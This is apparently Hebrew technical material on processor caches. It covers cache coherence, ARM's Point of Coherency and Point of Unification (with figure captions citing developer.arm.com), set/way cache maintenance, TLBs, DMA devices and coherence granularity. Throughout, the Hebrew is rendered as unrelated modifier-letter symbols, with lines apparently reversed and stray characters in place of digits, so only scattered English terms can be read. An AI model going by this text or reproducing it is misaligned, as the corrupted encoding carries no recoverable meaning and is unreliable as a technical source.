˦˪ˣ˷ ˪˩˟ ˸ˣ˞˧˶˵ˢ ˸ˣ˧ˬ˧ˮ˲ˢ ˸ˣ˰˴ˣ˟ˬˢ )˭ˣˠ˩ ˸ˣ˲˧˥ˡ ˸˧ˮ˯˥ˬ˪ (ˣ˞ ˪˰ ˭˲ˣ˞ˢ ˣ˟˷ ˸ˣ˞˧˶˵ˢ ˣ˪˪ˢ 

˸ˣ˪˲˦ˬ ˸˧ˮ˯˥ˬ˟ .˧ˡ˩ ˡˡˣˬ˸ˢ˪ ˫˰ ˶ˠ˸˞ˢ ˢˤˢ ,˭ˮ˷˧ ˧˸˷ ˫˧˩˶ˡ ˸ˣ˧˶˵˧˰: 

мΦ ˶˪˧˧˲ˬˣ˵ˢ ˪ˣ˩˧ ˶˴˧˧˪ ˡˣ˵ ˞ˡˣˣˬ˷ ˸˧ˮ˯˥ˬˢ˷ ˸˶˷ˣ˧ˬ ˢ˶ˣ˴˟ ˢˮˣ˩ˮ ˪˩˟ ˟˪˷ .ˢ˪ˣ˰˲ xʕ ˸˪˪ˣ˩ 

˸˯ˮ˩ˢ padding ˸ˡ˧ˬ˟ ˨˶ˣ˴ˢ ˧ˡ˩ ˶˷˧˧˪ ˸˞ ˫˧ˮˣ˸ˮˢ ,˭˩ˣ ˡˣ˵ ˱˯ˣˮ ˷˶ˡˮ˷ ˫ˠ ˪˦˟˪ ˸˞ ˶ˣ˷˧˧ˢ 

˶˷˞˩ ˭˧˞ x˟ ˡˣ˰ ˨˶ˣ˴ .ˢ˦˧˷ xʕ ˸˟˧˧˥ˬ ˸ˣ˵˧ˡ˟ ˸ˣ˶ˤˣ˥ ˪˰ ˶ˣ˷˧˧ˢ ˨˪ˢˬ˟ ˭ˬˤ ˢ˴˧˶ˢ ,ˢˬ ˪ˣ˪˰˷ 

˱˧˯ˣˢ˪ ˦˰ˬ ˢ˶ˣ˵˸ ˫˧˰ˣ˴˧˟˪. 

нΦ ˷ˣˬ˧˷ ˸˧ˮ˯˥ˬ˟ ˸˶˷ˣ˧ˬ ˪˴˞ ˪˩ s-caller-˫˧ ,˧ˡ˩ ˰˴˟˪ ˸˞ ˢˤ ˷˧ ˞ˡˣˣ˪ ˪˩˷ ˸ˣ˞˧˶˵ˢ ˸ˣ˰˴ˣ˟ˬ˷ 

˸ˣ˩ˬˣ˸ ˸˧ˮ˯˥ˬ˟ ˸˶˷ˣ˧ˬ ˷˞˶ˬ .˶ˬˣ˪˩ ,˪˩ ˢ˧˴˵ˮˣ˲ ˸ˠ˞ˣˡ ˨˩˪ ˸˧ˮ˯˥ˬˢ˷ ˶˞˷˧˸ ˸˶˷ˣ˧ˬ ˶˷˞˩ 

˞˧ˢ ˸˞˶ˣ˵ ˢ˧˴˵ˮˣ˲˪ ˸˶˥˞ .ˢ˷˧ˠ xʕ ˞˧ˢ ˦˶ˡˮ˦˯ˢ ˪˩˟ s-ABI ˫˧˴ˣ˲ˮˢ ,˞˧ˢˣ ˢ˴ˣ˲ˮ ˧˩ ˞˧ˢ ˸˷˶ˣˡ 

˸ˣ˥˲ ˡˣ˵ ˟˩˶ˣˬ ˭ˬˤ˪ ˢ˴˧˶. 
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 ˪˷ ˧˟˦˧ˬ ˪ˣ˴˧ˮCache  

˸ˣ˩˶˰ˬ˟ ˭ˢ˟˷ s-working set ˪ˣˡˠ ,˟ˣ˷˥ ˪˴ˮ˪ ˸˞ s-cache ˭˲ˣ˞˟ ˧˟˦˧ˬ .˫˷˪ ˨˩ ,˭˩˸˧˧ ˢ˧ˢ˧˷ ˨˶ˣ˴ 

˭ˠ˶˞˪ ˷ˡ˥ˬ ˸˞ ˧ˮ˟ˬ ˫˧ˮˣ˸ˮˢ ˞˪ˣ ˶ˡ˯˪ ˫˸ˣ˞ ˧˲˪ ˸ˣ˩˧˧˷ˢ ˸˧ˮˣ˧˰˶ˢ ˡ˟˪˟ .˫˧˸˧˰˪ ˸ˣ˟ˣ˶˵ ,˸ˮ˩˸ˬˢ 

˱˧ˡ˰˧ ˤ˩˶˪ ˸˞ ˪˩ ˫˧ˮˣ˸ˮˢ ˫˧˶ˣ˷˵ˢ ˸˧ˮˣ˧˰˶ ˣ˸ˣ˞˪ ˢˮ˟ˬ ˫˧ˮˣ˸ˮ ,˨˞ ˢ˷˧ˠ xʕ ˢˮ˧˞ ˥˶˩ˢ˟ ˸˧˟˦˧ˬˢ 

˫˧˰ˣ˴˧˟˪ .˭ˣˠ˶˞ ˧ˣˠ˷ ˪ˣ˩˧ ˪˧˟ˣˢ˪ ˨˩˪ ˢ˷˧ˠˢ˷ ˫˧ˮˣ˸ˮ˪ ˞˪ ˢ˧ˢ˸ ˸˶˷ˣ˧ˬ ˭˲ˣ˞˟ ˪˧˰˧ ˪-cache. 

 ˸˶˷ˣ˧ˬ ˞˪ ˢ˷˧ˠ ˪˷ ˸ˣ˰˲˷ˢ 

ˢ˷˧ˠ ˞˪ ˸˶˷ˣ˧ˬ ˸ˮ˪˫˧ˮˣ ˢ˪˧ˡˠˬ ˸˞ ˭ˣ˩˧˯ˢ ˪-miss ˭ˣ˶˩˧ˤ˟ s-cache ˫˶ˠˮˢ ˫˧˦˵˧˪˲ˮˣ˵ˬ ,˭ˣˣ˧˩ˬ ˪˩˷ 

ˢ˷˧ˠ ˫˧ˮˣ˸ˮ˪ ˢ˪ˣ˪˰ ˷ˣ˶ˡ˪ ˶˸ˣ˧ ˸˶ˣ˷ˬ cache ˸˥˞ .ˢ˞˴ˣ˸˩ ˨˩ˬ ,˫˧˵˪˥ ˫˧ˮˣ˷ ˫˧ˮˣ˸ˮˢˬ ˫˧˧ˣ˷˰ 

˞˴ˬ˧ˢ˪ ˫˧ˬˣ˵˧ˬ˟ ˫˧ˮˣ˷ ˭ˣ˶˩˧ˤ˟ s-cache ,ˢˬ ˪˧˟ˣˬ˷ ˨˩˪ ˸ˣ˞˧˶˵˷ ˸ˣ˟˵ˣ˰ ˫˧ˮˣ˸ˮ˪ ˣ˪˞ ˣˬ˶ˠ˧ 

˸ˣ˵˧˥ˡ˪ ˤˣ˟ˤ˟˪ˣ ˫˧˟˞˷ˬ ˟-cache. 

˟ ˡˣ˥˧˞ ˸ˡˣ˵ˮˣ ˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˡˣ˵ˮ-ARM 

˸˩˶˰ˬ˟ ˪ˣˢ˧ˮ˪ cache ,˪ˣ˰˲˸ˣ ˧ˣ˵˧ˮ ˪ˣ˦˧˟ˣ ˸ˣ˪ˣ˩˧ ˰˴˟˸ˢ˪ ˸ˣˬ˶˟ ˸ˣˮˣ˷ ˪˷ cache .˸ˣ˪ˣ˰˲ ˣ˪˞ 

˸ˣ˶ˡˠˣˬ ˫˞˸ˢ˟ ˠˣ˯˪ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ˢ ˪˷ cache - ˧˲˪ set/way .˶˷˞˩ ˶˟ˣˡˬ ˸ˣ˪ˣ˰˲˟ ˸ˣ˷ˬ˸˷ˬˢ 

˸˟ˣ˸˩˟ ˸˧˪˞ˣ˦˶˧ˣ ,ˢ˶ˣ˦˵˦˧˩˶˞ˢ ˢ˶˧ˡˠˬ ˧˸˷ ˸ˣˡˣ˵ˮ ˸ˣ˧˶˵˧˰. 
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˸ˡˣ˵ˮ ˸ˣ˧˦ˮ˶ˢˣ˵ ύPoint of Coherency, PoCΥό  

˶ˣ˟˰ ˸˟ˣ˸˩ ˸ˬ˧ˣ˯ˬ ,˸ˡˣ˵ˮ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˞˧ˢ ˫ˣ˵ˬˢ ˣ˟˷ ˥˦˟ˣˬ ˪˩˪ ˫˧ˡ˟˰ˬˢ ˸˩˶˰ˬ˟ )˸ˣ˟˧˪ 

ˡ˟˰ˬˢ ,DSPs, DMA ˣ˩ˣ ('- ˣ˰˧ˠ˧˷ ˣ˸ˣ˞˪ ˵˸ˣ˰ ˪˷ ˫ˣ˵˧ˬ ˭ˣ˶˩˧ˤ .˟ˣ˶˪ ,˸ˡˣ˵ˮ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˞˧ˢ ˭ˣ˶˩˧ˤ 

˸˩˶˰ˬˢ ˧ˮˣ˴˧˥ˢ ˧˷˞˶ˢ) .˨˷ˬˢ˟ ˷˧ ˶˟˯ˢ ˟˥˶ˣˬ ˶˸ˣ˧ ˪˰ ˸ˡˣ˵ˮ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ(: 

 

ϐFigure 11 11 Point of Coherency from Point of coherency and unification (developer.arm.com)ώ 

˸ˡˣ˵ˮ ˡˣ˥˧˞ ύPoint of Unification, PoU Υό 

˸ˡˣ˵ˮ ˡˣ˥˧˞ˢ ˶ˣ˟˰ ˢ˟˧˪ ˞˧ˢ ˫ˣ˵ˬˢ ˣ˟˷ ˥˦˟ˣˬ ˢ˷-cache-˫˧ ˪˷ ˸ˣ˞˶ˣˢˢ ,˫˧ˮˣ˸ˮˢ sx-translation 

table walks ˣ˞˶˧ ˸˞ ˫˸ˣ˞ ˫˧˵˸ˣ˰ˢ .ˢˬˠˣˡ˪ ,˫˞ cache ˢˬ˶ н ˪˰ˣ˲ ˩-cache ˡ˥ˣ˞ˬ ˸˩˶˰ˬ˟ ˢ˟˷ 

˷˧ cache ˢˬ˶ м x-TLB ˢ˶˧ˬ˷˪ ˟-cache ˪˷ ˧˩˶˰ ˸˪˟˦ ˫ˣˠ˶˸ ,ˤ˞ s-cache ˢˬ˶ н ˷ˬ˷ˬ ˸ˡˣ˵ˮ˩ 

ˡˣ˥˧˞ˢ .ˢ˶˵ˬ˟ ˭˧˞˷ cache ˧ˮˣ˴˧˥ ,ˤ˞ ˭ˣ˶˩˧ˤˢ ˧˷˞˶ˢ ˷ˬ˷ˬ ˸ˡˣ˵ˮ˩ ˡˣ˥˧˞ˢ: 

 

[Figure 11 12 Point of Unification from Point of coherency and unification (developer.arm.com)] 
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Cache Coherence  

,˸˰˩  ˪˰ ˧˯˧˯˟ ˰ˡ˧ ˣˮ˪ ˷˧˷cache  ˣˬ˩ ˫˧ˮ˧˧ˮ˰ˬ ˶˸ˣ˧ ˸˴˵ ˫˧˶˟ˡ ˸ˣ˞˶˪ˣ ˫ˡ˵˸ˢ˪ ˪˧˥˸ˢ˪ ˶˷˲˞

 ˸ˣ˧˦ˮ˶ˢˣ˵cache. 

 ˸ˣ˧˦ˮ˶ˢˣ˵˪ ˞ˣ˟ˬ 

ˣ˧˦ˮ˶ˢˣ˵ ˸˧˧˰˟ ˷˧˷ ˫˧ˣ˯ˬ ˭ˣ˸ˮ˪ ˸˷ˠ˪ ˫˧˯ˮˬ (˸ˣ˟˧˪ ˶˲˯ˬ ˣˬ˩) ˫˧ˬ˶ˣˠ ˶˲˯ˬ ˶˷˞˩ ˷˥˶˸ˢ˪ ˢ˪ˣ˩˧ ˸

˟ ˫˧ˮˣ˷ ˫˧˵˸ˣ˰ ,˪˷ˬ˪) ˫˧˵˸ˣ˰ ˶˲˯ˬ ˣ˪-cache- ˢ˷˧ˠ ˰ˣˮˬ˪ ˧ˡ˩ .ˢ˟˧˸˩ ˞˧ˢ ˸ˣ˷˧ˠˢ ˸˥˞ ˸ˣ˥˲˪ˣ (˫˧

.˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲˟ ˷ˣˬ˧˷ ˢ˷˰ˮ (˸ˣ˧˦ˮ˶ˢˣ˵ ˶˯ˣ˥˪ ˸ˬ˶ˣˠ˷) ˫˧ˮ˷ˣ˧ˬ ˫˧ˮˣ˸ˮ˪ 

ˮ ˸ˣ˧˦ˮ˶ˢˣ˵ ˶˯ˣ˥˪ ˢ˷˧ˠ ˫˰ ˫˧ˡ˟˰ˬ ˶˲˯ˬ ˪˷ ˫˸ˣ˥˩ˣˮ ˪˷˟ ˶˵˧˰˟ ˫˶ˠ-cache- ˸ˣ˩˶˰ˬ˟ .˭ˣ˶˩˧ˤ˪ˣ ˫˧

 ˧˰ˣˮˬ ,ˡ˟˰ˬ ˸ˣ˟˧˪ ˫˧˪˪ˣ˩ ˣ˪˞ ˫˧ˡ˟˰ˬ ,˸ˣ˧ˮ˶ˡˣˬDMA  ˟ˣ˸˩˪ˣ ˞ˣ˶˵˪ ˫˧˪ˣ˩˧ ˶˷˞ ,˫˧˧ˮˣ˴˧˥ ˫˧ˮ˵˸ˢˣ

 ˷˧ ˫˵˪˥˪ ˸ˣ˥˲˪ˣ ˭ˣ˶˩˧ˤ˪cache. 

 ˸ˣ˧˦ˮ˶ˢˣ˵cache ˢ ˸˞ ˨ˣ˲ˢ˪ ˸˲˞ˣ˷-cache-ˣ˷ˬ ˭ˣ˶˩˧ˤ ˸˩˶˰ˬ˟ ˫˧ ˢˮ˧˥˟ˬ ˫˧˞˶ˮ ˧˸˪˟˪ ˱˸

ˢ ˪˩ ˣ˪˧˞˩ ,˸˧˪ˮˣ˧˴˵ˮˣ˲-cache- ˧ˡ˧ ˪˰ ˸˞ˤ ˢˠ˧˷ˬ ˞˧ˢ .ˡ˟˪˟ ˸˥˞ ˢ˟˧˪ ˸˪˰˟ ˸˩˶˰ˬ˪ ˫˧˩˧˧˷ ˫˧

˪ ˡ˥˞ ˡ˟˰ˬˬ ˢ˟˧˸˩ ˸˴˲ˢ-cache-.˸˩˶˰ˬ˟ ˫˧˶˥˞ ˫˧ˡ˟˰ˬ ˪˷ ˫˧ 

 ,˱˸ˣ˷ˬˢ ˭ˣ˶˩˧ˤˢ ˸ˣˮˣ˩ˮ ˸˞ ˶˧ˡˠˬˢ ˧ˮˣ˦˵˦˧˩˶˞ ˦˶˲ˬ ˞˧ˢ˷ ,˭ˣ˶˩˧ˤ ˸ˣ˧˟˵˰˪ ˡˣˠ˧ˮ˟˷ ,˭˧˧˴˪ ˟ˣ˷˥

 ˸ˣ˧˟˵˰ ˪ˡˣˬ˟ ˨ˣˬ˸˪ ˧˰˴ˬ˞˩ ˸˷ˬ˷ˬ ˞˪˞ ˣˬ˴˰ ˸ˣ˧˟˵˰ ˪˷ ˪ˡˣˬˢ ˸˶ˡˠˢ˟ ˸˵˯ˣ˰ ˢˮ˧˞ ˸ˣ˧˦ˮ˶ˢˣ˵

.˸˩˶˰ˬ˟ ˭ˣ˶˩˧ˤˢ ˸ˣ˧˟˵˰ ˸˥˦˟ˢ˟ ˟ˣ˷˥ ˡ˧˵˲˸ ˫˧˞˪ˬˬ ˸ˣ˧˦ˮ˶ˢˣ˵ ˧˪ˣ˵ˣ˦ˣ˶˲ ,˦˶˲˟ .˭ˣ˶˩˧ˤˢ 

ˢ ˪˷ ˸˦˪˥ˣˬ ˢ˸˟˷ˢ ˧ˡ˧ ˪˰ ˸ˣ˧˦ˮ˶ˢˣ˵ ˠ˧˷ˢ˪ ˶˷˲˞-cache  ˣˤ ˢ˦˧˷ ˨˞ ,˫˧˲˸ˣ˷ˬ ˭ˣ˶˩˧ˤ ˧ˬˣ˵˧ˬ˪

ˮ.˧˸ˣ˰ˬ˷ˬ ˭˲ˣ˞˟ ˫˧˰ˣ˴˧˟ˢ ˸˞ ˭˧˦˵ˢ˪ ˢ˦ˣ 

 ?˸˧˦ˮˣˣ˪˶ ˸ˣ˧˦ˮ˶ˢˣ˵ ˧˸ˬ 

ˢˣ˵ ˢ˪˞ ˫˧ˮ˟ˬ .˱˸ˣ˷ˬˢ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ ˨ˣ˸ˬ ˫˧˵ˣ˪˟ ˫˧˵˧ˤ˥ˬ˷ ˭ˣ˯˥˞ˢ ˧ˮ˟ˬ ˪˩˪ ˸˰ˠˣˮ ˸ˣ˧˦ˮ˶

ˢ ˸˞ ˫˧˪˪ˣ˩-cache  ˢˤ ˸ˣ˶ˣ˦˵˦˧˩˶˞ˢˬ ˵˪˥˟ ,˱˯ˣˮ˟ .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˸˞ ˫ˠˣ ,˸ˣˮˣ˷ˢ ˸ˣˬ˶˟ ˫˧ˮˣ˸ˮˢ

ˢ ˸˞ ˪˪ˣ˩-instructions-cache  ˢˬ˶˟L1 x-TLBs ˢ ˫˧ˬ˰˲˪)-TLB  ˫ˮ˧˞˷ ˫˧˧ˣ˲˧ˬ ˵˧ˤ˥ˢ˪ ˪ˣ˩˧ ˫˧˵˸ˣ˰

.(˱˸ˣ˷ˬˢ ˭ˣ˶˩˧ˤˢ ˨ˣ˸ˬ ˫˧˵ˣ˪˟ ˪˷ ˡ˟˪˟ 

ˢ ,˸˞ˤ ˫ˣ˵ˬ˟ .˸ˮ˩˸ˬ˪ ˸ˣ˶˧˷˧ ˸˧˞˶ˮ ˢˮ˧˞ ˸ˣ˧˦ˮ˶ˢˣ˵-pipeline  ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪ˣ˵ˣ˦ˣ˶˲ˣ ˡ˟˰ˬˢ ˪˷

.˸ˮ˩˸ˬ˪ ˱ˣ˷˥ˢ ˞ˣˢ ˸ˣ˧˟˵˰ˢ ˪ˡˣˬ ˵˶ˣ ,˸ˣ˧˟˵˰ˢ ˪ˡˣˬ ˸˞ ˱ˣ˩˞˪ ˧ˡ˩ ˡ˥˧ ˫˧ˡ˟ˣ˰ 
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 ˸ˣ˧˦ˮ˶ˢˣ˵˪ ˸ˣ˧ˤ˩˶ˬˢ ˸ˣ˷˧˶ˡˢCache: 

¶ ˢ˟˧˸˩ ˸ˣ˦˷˲˸ˢ: ˟ ˫˧ˮ˯˥ˣ˞ˬˢ ˫˧ˮˣ˸ˮ ˫˧ˮ˸˷ˬ ˶˷˞˩-cache ˫ˠ ˫˧ˮ˩ˡ˰˸ˬ ˫˧˧ˣˮ˧˷ˢ˷ ˞ˡˣˣ˪ ˷˧ ,

ˢ ˸ˣˮˣ˶˩˧ˤ˟ ˵ˣ˪˟ ˣ˸ˣ˞ ˪˷ ˫˧˶˥˞ˢ ˫˧˵˸ˣ˰˟-cache .˸˩˶˰ˬ˟ ˫˧ˡ˟˰ˬˢ ˶˞˷ ˪˷ 

¶ ˸ˣ˧˴˵ˤˮ˶˦ ˶ˣˡ˧˯ ˸ˣ˞˶˧ˢ˪ ˸ˣ˩˧˶˴ ˭ˣ˶˩˧ˤ˟ ˫ˣ˵˧ˬ ˣ˸ˣ˞˪ ˸ˣ˰˴˟˸ˬ˷ ˢ˟˧˸˩ˢˣ ˢ˞˧˶˵ˢ ˸ˣ˪ˣ˰˲ ˪˩ :

˥˦˟ˣˬ ˨˩ .˶ˡ˯ ˣ˸ˣ˞˟ ˫˧ˡ˟˰ˬˢ ˪˩˪ ˫˧˟˧˩˶ˬˢ ˪˩ ˭˧˟ ˫˧˲˸ˣ˷ˬˢ ˫˧ˮˣ˸ˮ˪ ˢ˷˧ˠˢ ˶ˡ˯˟ ˸ˣ˧˟˵˰ ˸

.˸˩˶˰ˬ˟ 

 ˸ˬ˷ˣ˧ˬ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˰ˣ˲˟ ,ˢ˟˧˸˩ˣ ˢ˞˧˶˵ ˸˪ˣ˰˲ ˪˩ ˸ˬ˶˟ ˸ˣ˧˦ˮ˶ˢˣ˵ ˥˧˦˟ˢ˪ ˭˸˧ˮ ˸˧˦˶ˣ˞˧˸˷ ˡˣ˰˟

 ˸ˬ˶˟ ˟ˣ˶˪cache line.˫˧˰ˣ˴˧˟ ˸ˮ˧˥˟ˬ ˶˸ˣ˧ ˪˧˰˧ ˢˤ˷ ˫ˣ˷ˬ , 

 ˸ˣ˧˦ˮ˶ˢˣ˵cache ˣˠˢˮ˸ˢ ˥˧˦˟ˢ˪ ˧ˡ˩ ˢ˵˧˲˯ˬ ˢˮ˧˞ ˢˡ˟˪ ˫˧ˮˣ˸ˮ ˭ˢ˟˷ ˸ˣ˩˶˰ˬ˟ ˢˮ˧˵˸ ˭ˣ˶˩˧ˤ ˸

˟ ˫˧˶ˬ˷ˮ ˫˧˲˸ˣ˷ˬ-cache .˸˩˶˰ˬˢ ˪˷ ˭ˣ˶˩˧ˤˢ ˪ˡˣˬ ˶˧ˡˠˬ˷ ˫˧˴ˣ˪˧˞ˢˬ ˫˴ˬˣ˴ˬ ˵˪˥ ˵˶ ˢˣˣˢˬ ˞˧ˢ .

 ˸ˣ˧˦ˮ˶ˢˣ˵ ,ˢˬˠˣˡ˪cache  ˸ˣˮˣ˷ ˭ˣ˶˩˧ˤ ˸ˣ˪ˣ˰˲ ˭˧˟ ˶ˡ˯ ˧˯˥˧ˬ ˰˟ˣˮˢ ˸ˣ˪ˣ˰˲ˢ ˶ˡ˯˪ ˸˯˥˧˧˸ˬ ˢˮ˧˞

ˬ˷ ˫˧˴ˣ˪˧˞ˢˬ ˵˪˥ ,˨˩ˬ ˢ˶˸˧ .˫˧ˮˣ˷ ˫˧ˬˣ˵˧ˬ˟˟ ˸ˣ˩ˬˣ˸ ˭ˮ˧˞˷ ˸ˣ˩˶˰ˬ˟ ˫ˠ ˫˧˪˥ ˭ˣ˶˩˧ˤˢ ˪ˡˣˬ ˶˧ˡˠ-

cache-ˢ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲ ˭˧˟ ˡ˧˶˲ˢ˪ ˢ˷˵ ,˸ˣ˟˶ ˸ˣ˩˶˰ˬ˟ ,˱˯ˣˮ˟ .˪˪˩ ˫˧-cache  ˧˪˪˩ˢ ˪ˣ˵ˣ˦ˣ˶˲˪

 ˸˪˪ˣ˩ˢ ˸˧ˮ˩ˣ˸˟ ˧ˮˣ˧˥ ˵˪˥ ˢˣˣˢˬ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪ˣ˵ˣ˦ˣ˶˲ ,˟ˣ˶˪ ˨˞ ,˭ˣ˶˩˧ˤˢ ˸ˣ˧˟˵˰ ˪˰ ˢ˶˧ˬ˷˪ ˡ˰ˣˮ˷

˷ ˭ˣ˶˩˧ˤˢ ˪ˡˣˬ˟ ˢ˩˧ˬ˸˪.˸˩˶˰ˬˢ ˪ 

 ˸ˣ˧˦ˮ˶ˢˣ˵cache  ˢˠˣ˴˸ ˪˟˵˪ ˫˧˟˧˧˥ ˫˧ˡ˟˰ˬˢ ˪˩ ,˫˧ˡ˟˰ˬ ˸˟ˣ˶ˬ ˸˩˶˰ˬ˟ ˣ˧˲˪ ˭ˣ˶˵˰ ˸˶˞˸ˬ

 ˫ˣ˵˧ˬ ˣ˸ˣ˞˪ ˢ˟˧˸˩ ˸ˣ˪ˣ˰˲ ˫˧˰˴˟ˬ ˫˧ˮˣ˷ ˫˧ˡ˟˰ˬ ˶˷˞˩ ,˶ˬˣ˪˩ .˱˸ˣ˷ˬˢ ˭ˣ˶˩˧ˤˢ ˭˩ˣ˸ ˪˷ ˸˧˟˵˰

ˮ˶ˢˣ˵ˢ ˶ˡ˯ ˞˶˵ˮˢ) ˣ˪˪ˢ ˢ˟˧˸˩ˢ ˸ˣ˪ˣ˰˲ ˪˷ ˫˩˯ˣˬ ˧˪˟ˣ˪ˠ ˶ˡ˯ ˸ˣ˧ˢ˪ ˟˧˧˥ ,˭ˣ˶˩˧ˤ˟ ˪˩˷ ˨˩ ,(˸ˣ˧˦

 ˸˧ˮ˩ˣ˸˟ ˣ˶ˡˠˣˢ˷ ˸ˣ˪ˣ˰˲ˢ ˶ˡ˯ ˫˰ ˧˟˵˰ ˸ˣ˧ˢ˪ ˟˧˧˥ ˢˤ ˶ˡ˯ .˶ˡ˯ ˣ˸ˣ˞˟ ˫˧˧ˣˮ˧˷ˢ ˸˞ ˢ˞˶˧ ˡ˟˰ˬ

.˭ˣ˶˩˧ˤ˟ ˫ˣ˵˧ˬ ˣ˸ˣ˞ ˶ˣ˟˰ 

 ˸˯˥˧˧˸ˬ ˸ˣ˧˦ˮ˶ˢˣ˵˷ ˞ˣˢ ˫ˢ˧ˮ˧˟ ˪ˡ˟ˢˢ ˸˧˰ˣ˴˵ˬˢ ˸ˣ˶˲˯˟ ,˸ˣ˧˟˵˰˪ ˸ˣ˧˦ˮ˶ˢˣ˵ ˭˧˟ ˪˧ˡ˟ˢ˪ ˟ˣ˷˥

,(ˡ˧˥˧ ˭ˣ˶˩˧ˤ ˫ˣ˵˧ˬ) ˡ˶˲ˮ˟ ˭ˣ˶˩˧ˤ ˫ˣ˵˧ˬ ˪˩˪  ˧ˬˣ˵˧ˬ ˪˩˪ˣ ˢ˪ˣ˩ ˸˩˶˰ˬ˪ ˸˯˥˧˧˸ˬ ˸ˣ˧˟˵˰˷ ˡˣ˰˟

.˸˩˶˰ˬ˟ ˧˪˪˩ ˭˲ˣ˞˟ ˭ˣ˶˩˧ˤˢ 

 ˢˮ˩ˣ˸ ˸˪ˢˣˮˬ ˸ˣ˧˦ˮ˶ˢˣ˵ 

˟ ˫˧ˮ˯˥ˣ˞ˬ ˫˧ˮˣ˸ˮˢ ,ˢˤ ˫ˣ˷˧˧˟ .˫˧ˮˣ˸ˮ ˱ˣ˸˧˷ ˪ˣˢ˧ˮ˪ ˢ˷˧ˠ ˞˧ˢ ˢˮ˩ˣ˸ ˸˪ˢˣˮˬ ˸ˣ˧˦ˮ˶ˢˣ˵-cache ˨˞ ,

 ˸ˣ˧˶˲˯ ˶˵˧˰˟) ˢˮ˩ˣ˸ ˸ˣ˰˴ˬ˞˟ ˰˴˟˸ˬ˷ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪ˣˢ˧ˮlow level  (ˣ˪˞˩ ˸ˣ˪ˣ˰˲ ˫˧˰˴˟ˬ ˫˧˶˟˧˧˶ˡˣ

 ˟˴ˬ˟ ˫ˢ˷ ˫˧ˮˣ˸ˮ ˸ˣ˵ˮ˪ ˧˞˶˥˞dirty ˦˟˪ ˣ˞ˢˬ ˫˧ˮ˷˧ ˫˧˵˸ˣ˰ ˪-cache ˭ˬˤ ˱˧˯ˣˢ˪ ˢ˪ˣ˪˰ ˣˤ ˢ˷˧ˠ .

.ˢˣ˟ˠ ˸ˣ˟˧˪ˢ ˭˧˟ ˱ˣ˸˧˷ˢ ˶ˣ˰˧˷ ˶˷˞˩ ˫˧˰ˣ˴˧˟ ˸˧˥˲ˢ˪ˣ ˢˮ˩ˣ˸ˢ ˥ˣ˸˧˲ ˪˰ ˸ˣ˷˵ˢ˪ ,ˡˣ˟˧˰ 
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 ˢ˶ˬˣ˥ ˸˪ˢˣˮˬ ˸ˣ˧˦ˮ˶ˢˣ˵ 

ˢ ˭˧˟ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ,ˢ˶ˬˣ˥ ˸˪ˢˣˮˬ ˢ˷˧ˠ˟-data-cache- ˢˬ˶˟ ˫˧м  ˨ˣ˸˟cluster  ˧ˡ˧ ˪˰ ˸˶ˬ˷ˮ

ˢ ˡˣ˰ ˪˩ ,˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸˩˶˰ˬ˟ ˸˧˦ˬˣ˦ˣ˞ ˸˲˸˸˷ˬ ˞˧ˢ ,˸˪˰˲ˣˬ ˢ˟˧˪ ˶˷˞˩ .ˢ˶ˬˣ˥ˢ-data-cache 

ˢˣ-MMU .˸˧˦ˮ˶ˢˣ˵˪ ˸˟˷˥ˮ ˸˟ˣ˸˩ˢˣ ˫˧˪˧˰˲ ˢ˟˧˪ˢ ˪˷ 

˪ ˢ˶ˣ˷˵ˢ ˢ˶ˬˣ˥˪ ˸ˣ˟˩˶ˣˬ ˢ˲˧˯ˣˬ ˢ˶ˬˣ˥ ˸˪ˢˣˮˬ ˸ˣ˧˦ˮ˶ˢˣ˵˟ ˢ˩˧ˬ˸-interconnect ˪x-cluster ˨˞ ,

ˣ˞ˬ ˸˦˷˲ˬ ˞˧ˢ.˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˰˴ˬ˞˟ ˵˶ ˫˧˧˶˷˲˞ ˣ˧ˢ ˞˪˷ ˫˧ˬˣ˷˧˧ ˥ˣ˸˧˲ ˸˶˷˲˞ˬˣ ˢˮ˩ˣ˸ˢ ˸˞ ˡ 

) ˦ˣ˶˧˲˟ ˟ˣ˶˪ ˸˶ˬ˷ˮ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˢ˶ˬˣ˥ ˸ˣ˧˦ˮ˶ˢˣ˵ ˫˰ ˸ˣ˩˶˰ˬ˟granularity ˫˧˪˧ˬ ˶˲˯ˬ˪ ˫˧˞˸ˬ˷ (

ˢ ˪ˡˣˠ˪ ˫˞ˣ˸ ˪˪˩ ˨˶ˡ˟ ˶˷˞ ,˭ˣ˶˩˧ˤ˟-cache line ˢˮˣ˩ˬ ˢˤ ˦ˣ˶˧˲ .coherence granularity ˪ˣˡˠ ˪ˡˣˠ .

 ˪˷ ˶˸ˣ˧coherence granularity ˟ ˠ˸ ˧˟˴ˬ ˪˷ ˫˧˦˧˟ ˪ˣˢ˧ˮ˪ ˢ˶ˣ˷˵ˢ ˢ˶ˣ˵˸ˢ ˸˸˥˲ˢ˟ ˰˧˧˯ˬ-cache .

˟ ˫˧˵˸ˣ˰ ,˪˪˩ ˨˶ˡ˟-cache  ˪˷ ˪ˡˣˠ ˧˲˪ ˫˧˲˪˷ˮcache line  ,˪ˣ˦˧˟ ˰˴˟˸ˬ ˶˷˞˩ˣ ,ˢˬ˪˷cache line 

.˸ˡˡˣ˟ ˢ˪˧ˬ˪ ˵˶ ˸˰ˠˣˮ ˨˩˪ ˢ˞˧˟ˢ˷ ˢ˟˧˸˩ˢ ˫˞ ˫ˠ ˸˪˦ˣ˟ˬ ˢˬ˪˷ 

